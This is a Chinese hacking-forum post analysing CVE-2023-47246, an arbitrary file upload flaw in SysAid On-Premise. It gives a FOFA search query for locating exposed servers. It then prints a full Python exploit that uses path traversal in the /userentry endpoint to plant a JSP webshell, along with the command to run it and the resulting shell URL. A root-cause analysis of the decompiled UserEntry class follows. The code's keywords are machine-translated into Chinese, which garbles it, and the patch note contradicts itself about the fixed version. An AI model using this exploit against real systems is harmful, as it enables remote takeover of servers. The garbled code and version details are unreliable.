跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

CVE-2023-47246 SysAid Server文件上传漏洞分析

精选回复

发布于

##0x00 概述

SysAid On-Premise 是IT 服务管理(ITSM) 和IT 资产管理(ITAM) 解决方案,旨在为企业提供全面、集成的IT 管理服务。经分析发现该软件存在任意文件上传漏洞,攻击者可通过上传webshell获取目标系统权限。df00ae543f956de075283d19b7e98c8e.png

##0x01 漏洞影响

受漏洞影响的版本:版本23.3.36

##0x02 漏洞环境

- fofa查询

````

body=\'sysaid-logo-dark-green.png\'

``0b588700cdd9db86f37c4c0f7da6da72.png

##0x03 漏洞验证与利用

经验:

````

导入argparse

导入binascii

随机导入

导入时间

导入压缩文件

导入zlib

导入urllib3

导入请求

urllib3.disable_warnings()

def compressFile(shellFile, warFile):

尝试:

将zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED) 作为zipf:

zipf.write(shellFile)

zipf.close()

返回真

除了:

返回错误

def getHexData(warFile):

使用open(warFile, 'rb') 作为warfile:

数据=warfile.read()

warfile.close()

压缩数据=zlib.compress(数据)

hex_data=binascii.hexlify(compressed_data).decode()

返回十六进制数据

defgenerateRandomDirectoryName(num):

字符集='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

return ''.join(random.choice(charset) for _ in range(num))

def get_random_agent():

代理列表=[

'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, 如Gecko) Chrome/52.0.2743.116 Safari/537.36',

'Mozilla/5.0(X11;Linux x86_64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/53.0.2785.89 Safari/537.36'

]

返回agent_list[random.randint(0, len(agent_list) - 1)]

def shellUpload(url, proxy, 目录名, shellFile):

userEntryUrl=f\'{url}/userentry?accountId=/./././tomcat/webapps/{directoryName}/symbolName=testbase64UserName=YWRtaW4=\'

标题={

\'Content-Type\': \'application/x-www-form-urlencoded\',

\'用户代理\': get_random_agent()

}

shellFileName=shellFile.split(\'.\')[0]

warFile=f\'{shellFileName}.war\'

如果压缩文件(shellFile,warFile):

shellHex=getHexData(warFile=warFile)

数据=binascii.unhexlify(shellHex)

从myframework.encoder 导入base64_encode

打印(base64_encode(数据=数据))

resp=requests.post(url=userEntryUrl, headers=headers, data=data, proxies=proxy, verify=False)

print(\'\\033[92m[+] Shell文件压缩成功!\\033[0m\')

返回响应

否则:

print(\'\\033[91m[x] Shell 文件压缩失败。\\033[0m\')

退出(0)

def shellTest(url, proxy, 目录名, shellFile):

userEntryUrl=f\'{url}/{directoryName}/{shellFile}\'

标题={

\'用户代理\': get_random_agent()

}

resp=requests.get(url=userEntryUrl, headers=headers, timeout=15, proxies=proxy, verify=False)

返回响应,userEntryUrl

def利用(url,代理,shellFile):

print(f\'\\033[94m[*]开始攻击: {url}\\033[0m\')

目录名称=生成随机目录名称(5)

userentryResp=shellUpload(url, 代理, 目录名, shellFile)

print(f\'\\033[94m[*] 等待9 秒.\\033[0m\')

时间.睡眠(9)

cveTestResp, userEntryUrl=shellTest(url, 代理, 目录名, shellFile)

如果userentryResp.status_code==200 且cveTestResp.status_code==200:

print(f\'\\033[92m[+] 网站[{url}] 存在漏洞CVE-2023-47246!Shell path: {userEntryUrl}\\033[0m\')

否则:

print(f\'\\033[91m[x] 网站[{url}]无漏洞CVE-2023-47246.\\033[0m\')

如果__name__==\'__main__\':

parser=argparse.ArgumentParser(description=\'SysAid Server 远程代码执行漏洞CVE-2023-47246 Written By W01fh4cker\',

add_help=\'eg: python CVE-2023-47246-RCE.py -u https://192.168.149.150:8443\')

parser.add_argument(\'-u\', \'--url\', help=\'目标URL\')

parser.add_argument(\'-p\', \'--proxy\', help=\'代理, 例如: http://127.0.0.1:7890\')

parser.add_argument(\'-f\', \'--file\', help=\'shell 文件, 例如: shell.jsp\')

args=parser.parse_args()

如果args.url.endswith(\'/\'):

url=args.url[:-1]

否则:

url=args.url

如果args.proxy:

代理={

'http': args.proxy,

'https': args.proxy

}

否则:

代理={}

利用(url,代理,args.file)

````

运行exp:

````

python CVE-2023-47246-EXP.py -u http://host:8080 -p http://127.0.0.1:8088 -f 2.jsp

````

在这里上传2.jsp:c28d7f3677e93eaa52cfd39fecc5c0c1.png

428d1362cf23df209cbaa99c6ffff57d.png

上传成功,访问上传的webshell:

````

http://域名/6YY7Y/2.jsp

``3ec3fb8d751a56979ed62484f68b0edd.png

##0x04 漏洞分析

查看日志,确认文件上传路由对应的Controller是`com.ilient.server.UserEntry`这个类:5bbedcb766c73e81c8db62e416e86f16.png

阅读com.ilient.server.UserEntry类的doPost()代码,分析请求处理逻辑

首先阅读帖子数据内容:cf6c5ba47e596570dd39231d774130ae.png

然后根据`accountId`参数的内容,构造一个`File`对象。对象的路径名没有限制,可以遍历目录:b1f03d12ca15b3ab685f32ecfa370921.png

129958fcddd5f8e2332f331b70116e7f.png

然后编写一个zip文件,文件内容就是post数据的内容:2dd6c48f174cb9c193deb9e7c02099bf.png

然后调用`a(var31, var11)`。该方法解压刚刚写入的zip文件:4f549716fa44171acda3db3f6fa6fd32.png

ffa9edeb49ef89497c55841e69da2eee.png

这样,通过访问`/userentry`,就可以将任意zip格式的文件上传到任意指定位置。 zip文件上传后会在指定位置解压,从而实现任意文件写入。

##0x05 错误修复

该漏洞已被官方修复。请升级到最新版本(23.3.36)。下载地址为:https://documentation.sysaid.com/docs/latest-version-installation-files

##0x06 链接

https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification 转载自先知社区:https://xz.aliyun.com/t/13090

添加一名作者

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。